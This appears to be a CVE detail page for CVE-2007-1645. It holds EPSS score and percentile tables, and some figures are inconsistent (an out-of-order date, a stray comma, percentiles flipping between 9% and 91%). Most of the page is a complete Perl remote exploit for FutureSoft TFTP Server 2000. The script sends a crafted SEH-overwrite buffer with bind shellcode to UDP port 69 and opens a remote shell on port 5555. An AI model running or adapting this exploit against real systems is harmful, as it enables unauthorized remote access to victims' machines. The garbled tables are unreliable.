CVE-2007-1645 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	5.53%	–	–
2022-04-03	–	–	5.53%	–	–
2022-07-17	–	–	5.53%	–	–
2022-07-24	–	–	5.53%	–	–
2022-08-28	–	–	5.53%	–	–
2023-03-12	–	–	–	4.07%	–
2023-08-27	–	–	–	4.09%	–
2023-12-24	–	–	–	4.07%	–
2024-02-11	–	–	–	4.07%	–
2024-05-19	–	–	–	3.18%	–
2024-06-02	–	–	–	3.18%	–
2024-10-06	–	–	–	2.75%	–
2024-12-22	–	–	–	2.75%	–
2025-02-23	–	–	–	2.75%	–
2025-01-19	–	–	–	2.75%	–
2025-02-23	–	–	–	2.75%	–
2025-03-18	–	–	–	–	4.98%
2025-03-18	–	–	–	–	4.98,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	77%
2022-04-03	89%
2022-07-17	9%
2022-07-24	89%
2022-08-28	9%
2023-03-12	91%
2023-08-27	91%
2023-12-24	91%
2024-02-11	92%
2024-05-19	91%
2024-06-02	91%
2024-10-06	91%
2024-12-22	9%
2025-02-23	91%
2025-01-19	9%
2025-02-23	91%
2025-03-18	89%
2025-03-18	89%

#!/usr/bin/perl # =============================================================================================== # FutureSoft TFTP Server 2000 Remote SEH Overwrite Exploit # By Umesh Wanve # =============================================================================================== # # Date : 22-03-2007 # # Tested on Windows 2000 SP4 Server English # Windows 2000 SP4 Professional English # # You can replace shellcode with your favourite one :) # # # Stack ---> buffer === AAAAA......... # | # Pointer to next SEH === Short Jump to Hellcode # | # SEH Handler === Pop, Pop, Ret (ws2help.dll win2000 sp4) # | # NOP Sled === Nop Sled # | # Hellcode === Hell......... # # This exploit will open port 5555 on remote server. Connect it to open shell. # # # P.S: This was written for educational purpose. Use it at your own risk.Author will be not be # responsible for any damage. # # Always Thanks to Metasploit. # #================================================================================================== use IO::Socket; #use strict; my($read_request)="\x00\x01"; # GET or PUT request my($tailer)="\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00"; #transporting mode (eg. netascii) # win32_bind - EXITFUNC=seh LPORT=5555 Size=344 Encoder=Pex http://metasploit.com my($shellcode)= "\x90\x90\x90\x90". #padding "\x33\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x60". "\x5f\x45\x77\x83\xee\xfc\xe2\xf4\x9c\x35\xae\x3a\x88\xa6\xba\x88". "\x9f\x3f\xce\x1b\x44\x7b\xce\x32\x5c\xd4\x39\x72\x18\x5e\xaa\xfc". "\x2f\x47\xce\x28\x40\x5e\xae\x3e\xeb\x6b\xce\x76\x8e\x6e\x85\xee". "\xcc\xdb\x85\x03\x67\x9e\x8f\x7a\x61\x9d\xae\x83\x5b\x0b\x61\x5f". "\x15\xba\xce\x28\x44\x5e\xae\x11\xeb\x53\x0e\xfc\x3f\x43\x44\x9c". "\x63\x73\xce\xfe\x0c\x7b\x59\x16\xa3\x6e\x9e\x13\xeb\x1c\x75\xfc". "\x20\x53\xce\x07\x7c\xf2\xce\x37\x68\x01\x2d\xf9\x2e\x51\xa9\x27". "\x9f\x89\x23\x24\x06\x37\x76\x45\x08\x28\x36\x45\x3f\x0b\xba\xa7". "\x08\x94\xa8\x8b\x5b\x0f\xba\xa1\x3f\xd6\xa0\x11\xe1\xb2\x4d\x75". "\x35\x35\x47\x88\xb0\x37\x9c\x7e\x95\xf2\x12\x88\xb6\x0c\x16\x24". "\x33\x0c\x06\x24\x23\x0c\xba\xa7\x06\x37\x50\xc4\x06\x0c\xcc\x96". "\xf5\x37\xe1\x6d\x10\x98\x12\x88\xb6\x35\x55\x26\x35\xa0\x95\x1f". "\xc4\xf2\x6b\x9e\x37\xa0\x93\x24\x35\xa0\x95\x1f\x85\x16\xc3\x3e". "\x37\xa0\x93\x27\x34\x0b\x10\x88\xb0\xcc\x2d\x90\x19\x99\x3c\x20". "\x9f\x89\x10\x88\xb0\x39\x2f\x13\x06\x37\x26\x1a\xe9\xba\x2f\x27". "\x39\x76\x89\xfe\x87\x35\x01\xfe\x82\x6e\x85\x84\xca\xa1\x07\x5a". "\x9e\x1d\x69\xe4\xed\x25\x7d\xdc\xcb\xf4\x2d\x05\x9e\xec\x53\x88". "\x15\x1b\xba\xa1\x3b\x08\x17\x26\x31\x0e\x2f\x76\x31\x0e\x10\x26". "\x9f\x8f\x2d\xda\xb9\x5a\x8b\x24\x9f\x89\x2f\x88\x9f\x68\xba\xa7". "\xeb\x08\xb9\xf4\xa4\x3b\xba\xa1\x32\xa0\x95\x1f\x90\xd5\x41\x28". "\x33\xa0\x93\x88\xb0\x5f\x45\x77". "\x90\x90\x90\x90". #padding "\x90\x90\x90\x90"; my($pointer_to_next_seh)="\xeb\x06\x90\x90"; #short jump to shellcode my($seh_handler)="\xa9\x11\x02\x75"; #pop, pop, ret #(ws2help.dll win2000 sp4) #Building malicious buffer my($buffer)=$read_request.("A" x 268).$pointer_to_next_seh.$seh_handler.$shellcode.$tailer; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "69", Proto => "UDP")) { print "++Building Packet......\n" ; print "++Connecting to server.....\n"; print "++Sending Buffer ....\n"; print "++Exploit Successfull...\n"; print "++Connect to victim on 5555.....\n"; # request + file name + mode #see tftp protocol print $socket $buffer; sleep(1); close($socket); } else { print "Cannot connect to $ARGV[0]:69\n"; } # __END_CODE # milw0rm.com [2007-03-22]